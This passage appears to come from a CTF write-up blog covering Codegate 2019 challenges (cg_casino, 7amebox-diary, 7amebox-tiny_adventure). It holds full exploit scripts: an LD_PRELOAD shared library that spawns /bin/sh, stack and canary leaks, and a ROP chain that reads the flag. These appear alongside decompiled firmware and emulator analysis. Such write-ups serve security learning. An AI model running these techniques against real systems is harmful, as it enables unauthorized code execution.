AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...

The AAAA values are environment variables defined in docker-compose.yml, and the front part being overwritten with different content suggested the values reflect runtime changes.

When I actually overwrote the environment variables til the end of the stack, I confirmed that /proc/self/environ changed:

cg_casino@3197b44a521a:~/voucher$ cat /proc/1241/environ
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
...

So we can manipulate stack values to leave data into a file at /proc/self/environ.

Stack Overflow & File Copy

There are three conditions to write libc data to /proc/self/environ and bring it to /home/cg_casino/voucher:

new in main must be the filename to save in /home/cg_casino/voucher
old in main must be 32 bytes long and point to /proc/self/environ
libc data must be written to the environment variable space at the end of the stack

So I structured the payload as follows:

    payload = b"mylib.so\x00"
    payload += b"\x00" * (env - buf - len(payload))
    payload += lib_data
    payload += b"\x00" * (3432 - (len(payload)))
    put_voucher(s, payload)

    merge_voucher(s, b"../../../../../proc/self/environ")

During this process, since input is received through read_401108(), there’s a risk of data being cut off if libc contains \x0a. There was indeed a \x0a, so I tried replacing it with \x0b and fortunately the libc worked fine:

    with open("./mylib.so", "rb") as f:
        lib_data = f.read()
    lib_data = lib_data.replace(b"\x0a", b"\x0b")

This needs to be added to the payload.

Small Libc

Another issue here is that the environment variable area has limits, restricting the length of data that can be brought via merge voucher:

root@3197b44a521a:/home/cg_casino/voucher# ls -al
total 16
drwxrwx-wx 1 root      root      4096 Aug  1 05:24 .
drwxr-xr-x 1 root      root      4096 Jul 31 08:08 ..
-rw------- 1 cg_casino cg_casino 3432 Aug  1 05:23 mylib.so

I needed a libc smaller than 3432 bytes, which I created by compiling this source code on Ubuntu 16.04:

// gcc -w -znorelro -s -fPIC -shared -nostdlib -o mylib.so mylib.c
__attribute__((destructor))
void on_unload() {
	system("/bin/sh");
}

Interestingly, Ubuntu 22.04 produces a much larger file size with the same compilation options - compiler version can make such a significant difference:

➜  ls -al | grep mylib_from
-rwxr-xr-x 1 user user    2632 Aug  1 08:28 mylib_from1604.so
-rwxr-xr-x 1 user user   10160 Aug  1 14:40 mylib_from2204.so

Stack Leak

As confirmed earlier, inputting non-%u format data in lotto_4011A7() prints guess[i] data. Since guess is an array of 6 integers, we can examine 0x18 bytes of memory. Checking the uninitialized guess values:

gef➤  x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000      0x00007ffff7ffe168
0x7fffffffdf00: 0x0000000000000000

There’s a libc region address, but considering what we need, it’s closer to a stack address. I checked if executing another function first could leave a stack address at $rsp+0x30. Calling up_down_40139E() followed by lotto_4011A7() works:

gef➤  x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000      0x00007fffffffdf10
0x7fffffffdf00: 0x0000000000400bb0

Since guess is integer, inputting ‘a’ for the 3rd and 4th inputs leaks 4 bytes each:

    updown(s, [1, 1, 1, 1, 1, 1])
    r = lotto(s, b"1 2 a 3 a 4 5 6")
    lower = int(r.split(b" : ")[0])
    upper = int(r.split(b" : ")[1].split(b"\n")[1])
    buf = upper << 32 | lower + 0x40
    log.info(f"buf : {hex(buf)}")

Envp Overwrite

Now that the libc file executing the shell is in /home/cg_casino/voucher, we just need to execute it. The common technique for loading a desired libc uses the LD_PRELOAD environment variable, so I considered how to leverage this.

Since I defined on_unload() in the libc, I needed to verify two things:

Does exit(0); trigger on_unload()?
Does modifying environment variables after execution apply LD_PRELOAD?

I wrote test code and confirmed #1 works, but unfortunately #2 doesn’t. So I need to manipulate the current process’s environment variables and execute a process that uses those variables.

Then I remembered that slot_401477() uses system("/usr/bin/clear");, and during dynamic analysis this message appeared:

        _______
       |JACKPOT|
=========================
|   ___    ___    ___    |
|  | ? |  | ? |  | ? |   |
|  |___|  |___|  |___|   |
=========================
|________________________|
press any key

TERM environment variable not set

The current process cg_casino has environment variables cleared via ERASER in docker-compose.yml. When using system() here, execve() is called internally and **envp seems to be passed in this process.

**envp is passed as the third argument when main() is called, and stored at $rbp-0x88 early in main():

   0x400ca6:    push   rbp
   0x400ca7:    mov    rbp,rsp
   0x400caa:    sub    rsp,0x90
   0x400cb1:    mov    DWORD PTR [rbp-0x74],edi
   0x400cb4:    mov    QWORD PTR [rbp-0x80],rsi
   0x400cb8:    mov    QWORD PTR [rbp-0x88],rdx

Following the memory:

gef➤  x/gx $rbp-0x88
0x7fffffffdf28: 0x00007fffffffe0a8
gef➤  x/10gx 0x00007fffffffe0a8
0x7fffffffe0a8: 0x00007fffffffe276      0x00007fffffffe2b8
0x7fffffffe0b8: 0x00007fffffffe2ce      0x00007fffffffe564
0x7fffffffe0c8: 0x00007fffffffe7fa      0x00007fffffffea90
0x7fffffffe0d8: 0x00007fffffffed26      0x00007fffffffefbc
0x7fffffffe0e8: 0x00007fffffffefc7      0x0000000000000000
gef➤  x/s 0x00007fffffffe276
0x7fffffffe276: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

The structure is **envp(0x7fffffffdf28) -> *envp(0x7fffffffe0a8) -> first env(0x7fffffffe276)`.

So we need to follow this structure, making sure to include null at the end of *envp:

    payload = b"\x00" * (env_p_p - buf)
    payload += p64(env_p)
    payload += b"\x00" * (env_p - buf - len(payload))
    payload += p64(env)
    payload += b"\x00" * (env - buf - len(payload))
    payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
    put_voucher(s, payload)

    s.sendline(b"5")

The problem is that the environment variables end up at the edge of the stack, and this offset isn’t consistent, creating a probability issue. Continuously checking the difference showed variations around 0xXX0, suggesting success rate of 1/256.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os

DEBUG = False
BINARY = "cg_casino"
CONTAINER = "d20ec1bc9a88"

bp = {
    "getchar_of_main" : 0x400CF8,
    "read_bof" : 0x401108,
    "xstat_unlink" : 0x400F09,
    "slotmachine" : 0x401477,
    "lotto" : 0x4011A7,
    "scanf_of_lotto" : 0x40129D,
}

gs = f'''
set follow-fork-mode child
!b *{bp["xstat_unlink"]}
b *{bp["getchar_of_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def put_voucher(s, new):
    s.sendline(b"1")
    s.recvuntil(b" : ")
    s.sendline(new)
    sleep(0.1)
    return s.recvuntil(b"> ")

def merge_voucher(s, old):
    s.sendline(b"2")
    s.recvuntil(b" : ")
    s.sendline(old)
    return s.recvuntil(b"> ")

def lotto(s, numbers):
    s.sendline(b"3")
    sleep(0.1)
    s.recv()
    s.sendline(numbers)
    return s.recvuntil(b"> ")

def updown(s, numbers):
    s.sendline(b"4")
    s.recvuntil(b". \n")
    for number in numbers:
        s.sendline(str(number).encode())
        s.recvuntil(b"it\n")
    return s.recvuntil(b"> ")

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(f"/home/user/{BINARY}")
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    
    with open("./mylib.so", "rb") as f:
        lib_data = f.read()
    lib_data = lib_data.replace(b"\x0a", b"\x0b")

    s.recvuntil(b"> ")

    updown(s, [1, 1, 1, 1, 1, 1])
    r = lotto(s, b"1 2 a 3 a 4 5 6")
    lower = int(r.split(b" : ")[0])
    upper = int(r.split(b" : ")[1].split(b"\n")[1])
    buf = upper << 32 | lower + 0x40
    log.info(f"buf : {hex(buf)}")

    env = buf + 0x1796
    env = buf + 0x326
    env_p = buf + 0x158
    env_p_p = buf + 0xe8
    log.info(f"env_p_p : {hex(env_p_p)}")
    log.info(f"env_p : {hex(env_p)}")
    log.info(f"env : {hex(env)}")

    payload = b"mylib.so\x00"
    payload += b"\x00" * (env - buf - len(payload))
    payload += lib_data
    payload += b"\x00" * (3432 - (len(payload)))
    put_voucher(s, payload)
    
    pause()

    merge_voucher(s, b"../../../../../proc/self/environ")

    payload = b"\x00" * (env_p_p - buf)
    payload += p64(env_p)
    payload += b"\x00" * (env_p - buf - len(payload))
    payload += p64(env)
    payload += b"\x00" * (env - buf - len(payload))
    payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
    put_voucher(s, payload)

    s.sendline(b"5")

    s.interactive()

if __name__=='__main__':
    main()

Codegate CTF 2019 - 7amebox-diary

2024-07-30T00:00:00+00:00

0x00. Introduction

Again, the basic structure is the same as 7amebox-name.

➜  ls -al
total 64
drwxr-xr-x  2 user user  4096 Jul 30 08:48 .
drwxr-x--- 24 user user  4096 Jul 30 08:49 ..
-rw-r--r--  1 user user   527 Jul 17 03:04 Dockerfile
-rwxr-xr-x  1 user user 30804 Jul 17 03:02 _7amebox_patched.py
-rw-r--r--  1 user user  4560 Jul 17 03:02 diary.firm
-rw-r--r--  1 user user    41 Jul 17 03:03 flag
-rwxr-xr-x  1 user user    22 Jul 17 03:02 run.sh
-rwxr-xr-x  1 user user   323 Jul 17 03:02 vm_diary.py

Structure

struct diary {
    char title[30];
    char contents[1200];
    char dummpy[30];
    char key[1200];
};

Concept

void main() {
    int choice;
    int canary;

    print(string_0x6c3);
    print("1) list\n2) write\n3) show\n4) edit\n5) quit\n>");
    read(choice, 3);

    while(1) {
        if(choice == '1')
            list_0x12e();
        else if(choice == '2')
            write_0x1f0();
        else if(choice == '3')
            show_0x319();
        else if(choice == '4')
            edit_0x452();
        else if(choice == '5')
            exit_0x23();
    }
}

This firmware allows creating diary entries with write, viewing them with list and show, and modifying them with edit.

0x01. Vulnerability

The firmware is significantly larger than 7amebox-name, so I ported it to C first. But no matter how hard I looked, couldn’t spot any vulnerabilities. That’s when I took another look at the emulator code and found this:

class Stdin:
    def read(self, size):
        res = ''
        buf = sys.stdin.readline(size)
        for ch in buf:
            if ord(ch) > 0b1111111:
                break
            if ch == '\n':
                res += ch
                break
            res += ch
        return res

    def write(self, data):
        return None

Since this is a 7-bit per byte environment, input is terminated and returns when values greater than 0x80 are encountered. This might seem insignificant, but it creates a critical vulnerability in write:

   0x286:  10 5b           mov r5, bp     
   0x288:  2e 50 06 00 00  sub r5, 0x6    
   0x28d:  00 65           ldr r6, [r5] ; r6 = [r5]
   0x28f:  26 60 1e 00 00  add r6, 0x1e   
   0x294:  12 10 30 00 09  mov r1, 0x4b0  
   0x299:  10 06           mov r0, r6     
   0x29b:  7b 50 6f 00 06  call read_0x60f ; read(memory + 30, 1200);
   0x2a0:  48 00           dec r0         
   0x2a2:  10 5b           mov r5, bp     
   0x2a4:  2e 50 06 00 00  sub r5, 0x6    
   0x2a9:  00 65           ldr r6, [r5] ; r6 = [r5]
   0x2ab:  26 60 1e 00 00  add r6, 0x1e   
   0x2b0:  24 60           add r6, r0     
   0x2b2:  0d 76           strb ('zero', [{'r6'}]) ; [r6] = zero
   0x2b4:  10 5b           mov r5, bp     
   0x2b6:  2e 50 06 00 00  sub r5, 0x6    
   0x2bb:  00 65           ldr r6, [r5] ; r6 = [r5]
   0x2bd:  26 60 6c 00 09  add r6, 0x4ec  
   0x2c2:  10 10           mov r1, r0     
   0x2c4:  10 06           mov r0, r6     
   0x2c6:  7b 50 44 00 06  call read_0x60f ; read(memory + 1260, r0)

The write flow takes input in order: title -> contents -> key. Since contents and key are XORed together to be stored, they must have the same length.

Looking at the assembly, at 0x29b it reads contents and immediately uses the return value r0 to determine the length for reading key. There’s a dec r0 at 0x2a0 to remove the trailing \n.

Here’s the vulnerability: if we provide Stdin with a value greater than 0x80 to make r0 zero, the key read length becomes -1.

r0 : 0x3
r1 : 0x0
r2 : 0xc44ec
r3 : -0x1
r4 : 0x0
r5 : 0xf5fc5
r6 : 0xc44ec
r7 : 0xc4000
r8 : 0x3
r9 : 0x18ed55
r10 : 0x59000
bp : 0xf5fcb
sp : 0xf5fb6
pc : 0x625
eflags : 0x1
zero : 0x0
PC : 20 00           syscall

Now let’s examine how this syscall is handled:

    def sys_s3(self):   # read
        fd = self.register.get_register('r1')
        buf = self.register.get_register('r2')
        size = self.register.get_register('r3')

        if 0 <= fd < len(self.pipeline):
            res = self.pipeline[fd].read(size)
            data = map(ord, res)   # Stdin.read(size)
            self.write_memory(buf, data, len(data))
            self.register.set_register('r0', len(data) & 0b111111111111111111111)
        else:
            self.register.set_register('r0', 0)

Fortunately, there’s no validation for negative size values, which triggers a massive overflow reading 0b111111111111111111111 bytes.

    def write_memory(self, addr, data, length):
        if not length:
            return

        if self.memory.check_permission(addr, PERM_WRITE) and self.memory.check_permission(addr + length - 1, PERM_WRITE):
            for offset in range(length):
                self.memory[addr + offset] = data[offset] & 0b1111111
        else:
            self.terminate("[VM] Can't write memory")

Additionally, write_memory only checks permissions for the start and end pages, allowing writes to intermediate pages even without write permission.

0x02. Exploit

Canary Leak

   0x587:  10 5b           mov r5, bp     
   0x589:  2e 50 03 00 00  sub r5, 0x3    
   0x58e:  00 65           ldr r6, [r5] ; r6 = [r5]
   0x590:  5c 69           cmp r6, r9     
   0x592:  73 50 06 00 00  je pc + 0x6 ; jne if A == B ; not FLAG_ZF
   0x597:  11 4b           mov sp, bp     
   0x599:  1d 30           pop bp         
   0x59b:  1d 50           pop pc

stack_chk_fail_0x59d:         
   0x59d:  12 00 04 00 13  mov r0, 0x984  
   0x5a2:  7b 50 3a 00 01  call print_0x661
   0x5a7:  54 00           xor r0, r0     
   0x5a9:  20 00           syscall

Every function includes a stack protection mechanism that compares the value stored in r9 against [bp-0x3].

To bypass this, we need to leak the canary. If we can write the canary’s address to 0x59003, we should be able to leak it through list:

char *load_diary(int i) {
    int *r10 = 0x59000;
    return *(r10 + i * 3);
}

void list_0x12e() {
    char tmp[3];
    int i = 1;
    int canary;
    ...
        print(load_diary_0x6b4(i));
        print('\n');
    ...
}

The challenge is that we need to allocate a diary before 0x59000 (the global variable space) to overwrite it. Here’s the memory allocation logic:

    def allocate(self, new_perm, addr=None):
        if addr:
            if not (self.get_perm(addr) & PERM_MAPPED):
                self.set_perm(addr, (PERM_MAPPED | new_perm) & 0b1111)
                return addr
            else:
                return -1

        for page, perm in self.pages.items():
            if not (self.get_perm(page) & PERM_MAPPED):
                self.set_perm(page, (PERM_MAPPED | new_perm) & 0b1111)
                return page
        return -1

When no address is specified, it iterates through self.pages.items() to find unmapped space. Here’s where Python 2.7’s random dictionary iteration helps us - we can repeatedly call write until an allocation occurs below 0x59000.

I hooked allocate to monitor the allocations and got lucky on the second attempt:

addr : 0xc4000
new perm : 0b1110
addr : 0x1c000
new perm : 0b1110

Now we calculate the offset from the allocated 0x1c000 key address to 0x59003 where diary_ptr is stored:

    write(s, b"AAAA", b"aaaa", b"1111")     # 0xc4000
    payload = b"b" * (data_addr - (0x1c000 + 0x4ec))
    payload += p21(1)
    payload += p21(canary_addr)
    write(s, b"BBBB", b"\xff", payload)     # 0x1c000
    
    r = (list(s))
    canary = u21(r.split(b"1)")[1][:3])
    log.info(f"canary : {hex(canary)}")

Stack Overflow

With the canary leaked, we can overwrite the return address of stack to control pc.

One important note: read_0x60f has its own canary check, so we need to account for both canaries in our payload:

    payload = b"c" * (read_canary_addr - (0x3a000 + 0x4ec))
    payload += p21(canary)                  # canary of read_0x60f
    payload += b"flag\x00\x00"
    payload += p21(canary)                  # canary of write_0x1f0

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from gameboxlib import *
from time import sleep
import sys

BINARY = "./vm_diary.py"
key_addr = 0x1c000 + 0x4ec
data_addr = 0x59000
ret_addr = 0xf5fce
canary_addr = 0xf5fc8
read_canary_addr = 0xf5fb6

bp = {
    'list' : 0x12e,
    'end_of_list' : 0x1ee,
}
context.terminal = ['tmux', 'splitw', '-hf']

def set_bp(s, addr):
    print(s.recv())
    s.sendline(f"b {hex(addr)}".encode())
    sleep(0.1)
    s.sendline(b"c")
    return s.recv()

def list(s):
    s.sendline(b"1")
    sleep(0.1)
    return s.recv()

def write(s, title, contents, key):
    s.sendline(b"2")
    s.recvuntil(b"title>")
    s.sendline(title)
    s.recvuntil(b">")
    s.sendline(contents)
    s.sendline(key)
    return s.recv()

def main():
    if(len(sys.argv) > 1):
        s = remote("localhost", int(sys.argv[1]))
    else:
        s = process(BINARY)
    # print(set_bp(s, bp['end_of_list']))
    s.recv()

    write(s, b"AAAA", b"aaaa", b"1111")     # 0xc4000
    payload = b"b" * (data_addr - (0x1c000 + 0x4ec))
    payload += p21(1)
    payload += p21(canary_addr)
    write(s, b"BBBB", b"\xff", payload)     # 0x1c000
    
    r = (list(s))
    canary = u21(r.split(b"1)")[1][:3])
    log.info(f"canary : {hex(canary)}")

    payload = b"c" * (read_canary_addr - (0x3a000 + 0x4ec))
    payload += p21(canary)
    payload += b"flag\x00\x00"
    payload += p21(canary)
    # open("flag") => r0 = 1, r1 = "flag"
    payload += p21(0x609)                   # ret
    payload += p21(read_canary_addr + 3)    # pop r1
    payload += p21(0x1)                     # pop r0
    payload += p21(0x625)                   # pop pc ; syscall
    # read(2, 0x3a000, 0x40) => r0 = 3, r1 = 2, r2 = 0x3a000, r3 = 0x40
    payload += p21(canary)                  # pop r6
    payload += p21(0x28)                    # pop r3
    payload += p21(0x3a000)                 # pop r2
    payload += p21(0x2)                     # pop r1
    payload += p21(0x60b)                   # pop pc ; pop r0
    payload += p21(0x3)                     # pop r0
    payload += p21(0x625)                   # pop pc ; syscall
    # write(1, 0x3a000, 0x40) => r0 = 2, r1 = 1, r2 = 0x3a000, r3 = 0x40
    payload += p21(canary)                  # pop r6
    payload += p21(0x28)                    # pop r3
    payload += p21(0x3a000)                 # pop r2
    payload += p21(0x1)                     # pop r1
    payload += p21(0x60b)                   # pop pc ; pop r0
    payload += p21(0x2)                     # pop r0
    payload += p21(0x625)                   # pop pc ; syscall
    print(write(s, b"CCCC", b"\xff", payload))     # 0x3a000

if __name__=='__main__':
    main()

0x04. Decompile

#define O_MAPPED 0b1000
#define O_READ   0b0100
#define O_WRITE  0b0010
#define O_EXEC   0b0001
char *string_0x6c3 = "====================================================\
              |                   SECRET_DIARY                   |\
              ====================================================\
              |                   ___________                    |\
              |                  |     _     |                   |\
              |                  |    (_)    |                   |\
              |                  |   |   |   |                   |\
              |                  |   |___|   |                   |\
              |                  |___________|                   |\
              ----------------------------------------------------";

int count_0x59000 = 0;
struct diary *diary_ptr_0x59003[9];

struct diary {
    char title[30];
    char contents[1200];
    char dummpy[30];
    char key[1200];
};

char *load_diary(int i) {
    int *r10 = 0x59000;
    return *(r10 + i * 3);
}

void list_0x12e() {
    char tmp[3];
    int i = 1;
    int canary;

    print("YOUR DIARY");
    print("----------------------------------------------------");
    for(i=1; i<count_0x59000; i++) {
        tmp[0] = i + 0x30;      // '1'
        tmp[1] = 0x29;          // ')'
        print(tmp);

        print(load_diary_0x6b4(i));
        print('\n');
    }
    print("----------------------------------------------------");

    stack_chk_fail();
    return;
}         

void write_0x1f0() {
    struct diary *diary;
    int canary;
    int r0, r8;

    if(count_0x59000 > 9) {
        print("no you can't. (max : 9)");
        goto _0x303;
    }
    count_0x59000++;

    diary = mprotect(O_READ | O_WRITE);
    diary_ptr_0x59003[count_0x59000] = diary;

    print("title>");
    r0 = read(diary, 30);
    diary->title[r0] = "\x00";

    print("content, secret key (same length)\n>");
    r0 = read(diary->contents, 1200);
    diary->contents[r0] = "\x00";

    read(diary->key, r0);   // read(diary->key, 0x7f7f7f);

    for(r8=0; r8<1200; r8++)
        diary->contents[r8] = diary->contents[r8] ^ diary->key[r8];
_0x303:
    stack_chk_fail();
    return;
}

void show_0x319() {
    char buf[1200];         // 0xf5b12
    struct diary *diary;    // 0xf5fc2
    int choice;             // 0xf5fc5
    int canary;             // 0xf5fc8
    int r0, r8;

    print("index>>");
    read(choice, 3);
    if(choice < '1' || choice > '9')
        goto _0x43c;
    
    r0 = choice - '0';
    if(r0 > count_0x59000)
        goto _0x43c;

    diary = load_diary_0x6b4(r0);
    print("----------------------------------------------------");
    print("TITLE :");
    print(diary->title);
    print("\n");
    print("----------------------------------------------------");

    memcpy_0x5d9(buf, diary->contents, 1200);

    for(r8=0; r8<1200; r8++)
        buf[r8] = buf[r8] ^ diary->key[r8];
    
    print(buf);
    print("\n");
    print("----------------------------------------------------");

_0x43c:
    stack_chk_fail();
    return;
}

void edit_0x452() {
    struct diary *diary;
    int choice;
    int canary;
    int r0, r8;

    print("index>>");
    read(choice, 3);
    if(choice < '1' || choice > '9')
        goto _0x587;

    r0 = choice - '0';
    if(r0 > count_0x59000)
        goto _0x587;

    diary = load_diary_0x6b4(r0);
    print("title>");
    read(diary->title, 30);
    diary->title[r0] = "\x00";

    print("content\n>");
    r0 = read(diary->contents, 1200);
    diary->contents[r0] = "\x00";

    print("secret key\n>");
    print(diary->key);
    print("\n");
    
    for(r8=0; r8<1200; r8++)
        diary->contents[r8] = diary->contents[r8] ^ diary->key[r8];

_0x587:
    stack_chk_fail();
    return;
}


void exit_0x23() {
    _exit();
}

void main() {
    int choice;
    int canary;

    print(string_0x6c3);
    print("1) list2) write3) show4) edit5) quit");
    read(choice, 3);

    while(1) {
        if(choice == '1')
            list_0x12e();
        else if(choice == '2')
            write_0x1f0();
        else if(choice == '3')
            show_0x319();
        else if(choice == '4')
            edit_0x452();
        else if(choice == '5')
            exit_0x23();
    }
}

Codegate CTF 2019 - 7amebox-tiny_adventure

2024-07-29T00:00:00+00:00

0x00. Introduction

The basic structure is the same as 7amebox-name.

➜  ls -al
total 64
drwxr-xr-x  2 user user  4096 Jul 30 08:48 .
drwxr-x--- 24 user user  4096 Jul 30 08:48 ..
-rw-r--r--  1 user user   579 Jul 17 03:06 Dockerfile
-rwxr-xr-x  1 user user 30804 Jul 17 03:06 _7amebox_patched.py
-rw-r--r--  1 user user    41 Jul 17 03:06 flag
-rwxr-xr-x  1 user user    21 Jul 17 03:06 run.sh
-rw-r--r--  1 user user  3600 Jul 17 03:06 stage.map
-rw-r--r--  1 user user  3721 Jul 17 03:06 tiny_adventure.firm
-rwxr-xr-x  1 user user   371 Jul 17 03:06 vm_tiny.py

Global variables

int dog_count_0x1000;
int *dog_avatar_0x1003[0x100];
int *map_0x1303;
int sell_count_0x1306;
int hp_0x1309;
int power_0x130c;
int x_0x130f;
int y_0x1312;

Concept

1) show current map
2) buy a dog
3) sell a dog
4) direction help
w a s d) move to direction
>1
-------------------------------------------------
* (\x2a)      = power up
# (\x23)      = wall
@ (\x40)      = you
a ~ y         = monster
z             = boss monster (flag)
-------------------------------------------------

##############################################################
#@                                                           #
#                                     a  f                   #
#                                                            #
#   v            z                                           #
#                     i            p                         #
                            ...                              
##############################################################

After reading the stage.map file and loading it into memory, you move using w, a, s, d, and when you defeat a monster, you acquire the generated * to power up. There are also buy_dog and sell_dog menus for triggering vulnerabilities.

Goal

void move_0x383(char choice) {
    ...
_0x534_boss:
    print_0x6a5("you met a boss monster 'z'!\n1) attack\n2) attack\n>");
    read_0x669(choice, 3);

    if(hp_0x1309 < 0x7d0)
        hp_0x1309 = 0;
    else
        hp_0x1309 -= 0x7d0;
    
    if(power_0x130c < 0x2bc)
        *(new_loc) = met;
    else
        flag_0x5bf();
    ...
}

When you meet z in stage.map, the boss stage opens, and regardless of hp, if power is greater than or equal to 0x2bc, it prints the flag.

However, even if you defeat all the monsters on the map, you cannot make the power value greater than 0x2bc, so I decided to exploit by manipulating the map information.

0x01. Vulnerability

In the load_map_0x103() function that runs first after firmware loading, the global variables are initialized as follows:

int load_map_0x103() {
    int new_page;   // 0xf5fc5
    int ;           // 0xf5fc8
    int r0;
    
    dog_count_0x1000 = 0;
    memset_0x61b(dog_avatar_0x1003, 0x0, 0x300);
    sell_count_0x1306 = 6;
    hp_0x1309 = 0x78;
    power_0x130c = 0x61;
    x_0x130f = 0;
    y_0x1312 = 0;

    r0 = syscall(0x4, new_page, 0x6);       // mmap(new_page, O_READ | O_WRITE); 0x59000
    map_0x1303 = new_page;
    r0 = open("stage.map");
    syscall(0x3, r0, map_0x1303, 0xe10);    // read(fd, map_0x1303, 0xe10);
    return new_page;
}

Among these, dog_avatar_0x1003 is used as follows:

void buy_dog_0x25c() {
    int choice;
    int new_page;
    int r0;

    r0 = syscall(0x4, new_page, 0x6);  // new_page = mmap(O_READ | O_WRITE);
    if(r0 == 0)
        goto _0x2e5;

    dog_count_0x1000++;
    dog_avatar_0x1003[dog_count_0x1000] = new_page;
    print_0x6a5("do you want to draw a avatar of the dog? (y/n)");
    read_0x669(choice, 0x3);
    if(choice == 'y') {
        read_0x669(new_page, 0x1000);
        print_0x6a5("you got a new dog!");
        goto _0x2fe;
    }
    print_0x6a5("you got a new dog!");

_0x2e5:
    print_0x6a5("you already have too many dogs!");
_0x2fe:
    return;
}

If memory allocation through syscall succeeds, dog_count_0x1000 increases and the allocated memory region address is written to that index.

However, since there’s no boundary check for dog_count_0x1000, when the value becomes 0x101, we can write a value to map_0x1303 which is after the dog_avatar_0x1003 array. Since map_0x1303 holds the memory address where the contents of stage.map are read and stored, manipulating this allows us to manipulate the map. Moreover, we can write 0x1000 bytes to the allocated memory for drawing avatar, allowing us to freely manipulate the map contents.

[*] allocating 0xfa-th page
addr : 0x17000
new perm : 0b1110
do you want to draw a avatar of the dog? (y/n)
>n
[*] allocating 0xfb-th page
addr : 0x78000
new perm : 0b1110
do you want to draw a avatar of the dog? (y/n)
>n
[*] allocating 0xfc-th page
you already have too many dogs!

The problem is that only 0xfb allocations are made and it fails. When I checked the reason:

gef > mmap
0x0     : r-x
0x1000  : rw-
0x59000 : rw-
0xf4000 : rw-
0xf5000 : rw-

There are already allocated pages and the emulator only saves the 0x0 ~ 0xff000 region as the allocatable area.

class Memory:
    def __init__(self, size):
        self.memory = [0 for i in range(size)]
        self.pages = {}
        for page in range(0, size, 0x1000):
            self.pages[page] = 0
...
class EMU:
    def __init__(self):
        ...
        self.memory     = Memory(2 ** 20)   # 0x100000
        ...

Therefore, we need to increase the dog_count_0x1000 value, which acts as an index, from 0xfb to 0x101 using another vulnerability. Since the sell_count_0x1306 value is exactly that difference of 0x6, we can reasonably infer that we should use sell_dog_0x304().

void sell_dog_0x304() {
    int choice;     // 0xf5fc5
    int new_page;   // 0xf5fc8

    if(sell_count_0x1306 == 0)
        goto _0x373;
    sell_count_0x1306--;
    print_0x6a5("which dog do you want to sell?");
    read_0x669(choice, 0x4);
    if(choice < 0x100000)
        goto _0x373;
    syscall(0x6, choice);   // munmap(choice);
    print_0x6a5("good bye my dog..");
    goto _0x37d;
_0x373:
    print_0x6a5("you can't sell the dog!");
_0x37d:
    return;
}

However, looking at the code for sell_dog_0x304(), if the address to unmap is less than 0x100000, the syscall cannot be called. But I remembered that unmapping succeeded when I entered AAAA during dynamic analysis, so I checked the emulator code.

class EMU:
    ...
    def sys_s6(self):   # munmap
        addr = self.register.get_register('r1') & 0b111111111000000000000
        self.memory.set_perm(addr, 0b0000)
    ...
class Memory:
    ...
    def set_perm(self, addr, perm):
        self.pages[addr & 0b111111111000000000000] = perm & 0b1111
    ...

When sys_s6() is called in the emulator, it sets the page’s permission to 0b0000 through the Memory object’s set_perm() function. In this process, however, it doesn’t check if the page exists before setting the permission. And in Python’s dictionary, when you input a value to a non-existent key, it creates and stores a new key-value pair.

Therefore, even the non-existent region AAAA could be unmapped, and since this region is stored in the pages dictionary, allocation is also possible. Of course, if you try to write or read values after allocation, it exceeds the memory size and causes an error. However, since the purpose is to increase dog_count_0x1000, we just need to perform munmap -> map 6 times and write the map information to a writable area.

0x02. Exploit

The emulator’s memory allocation process is as follows:

    def allocate(self, new_perm, addr=None):
        if addr:
            if not (self.get_perm(addr) & PERM_MAPPED):
                self.set_perm(addr, (PERM_MAPPED | new_perm) & 0b1111)
                return addr
            else:
                return -1

        for page, perm in self.pages.items():
            if not (self.get_perm(page) & PERM_MAPPED):
                self.set_perm(page, (PERM_MAPPED | new_perm) & 0b1111)
                return page
        return -1

When addr is not specified, it iterates through the pages dictionary and returns a page without the PERM_MAPPED permission.

In Python 2.7, dictionaries are traversed in random order, and even if you add values later, the order doesn’t come at the end but can be inserted in the middle.

# Python 2.7.18
>>> a = {"A" : 1, "B" : 2, "C" : 3, "D" : 4}
>>> for key in a:
...     print key,
... 
A C B D
>>> a["E"] = 5
>>> for key in a:
...     print key,
... 
A C B E D

Therefore, if we add a key-value to the Memory object’s pages dictionary, there are high chances that the key will be inserted in the middle. Indeed, if we follow the process of the emulator creating the pages dictionary and unmapping, we can get the following result:

>>> pages = {}
>>> for page in range(0, 2 ** 20, 0x1000):                      # Memory.__init__()
...     pages[page] = 0
... 
>>> pages[0x100000] = 0                                         # Memory.set_perm()
>>> for index, (page, perm) in enumerate(pages.items()):        # Memory.allocate()
...     if page == 0x100000:
...         print "page 0x100000 is at %d-th index" % index
... 
page 0x100000 is at 98-th index
>>> print "last page %s is at %d-th index" % (hex(page), index)
last page 0x78000 is at 256-th index

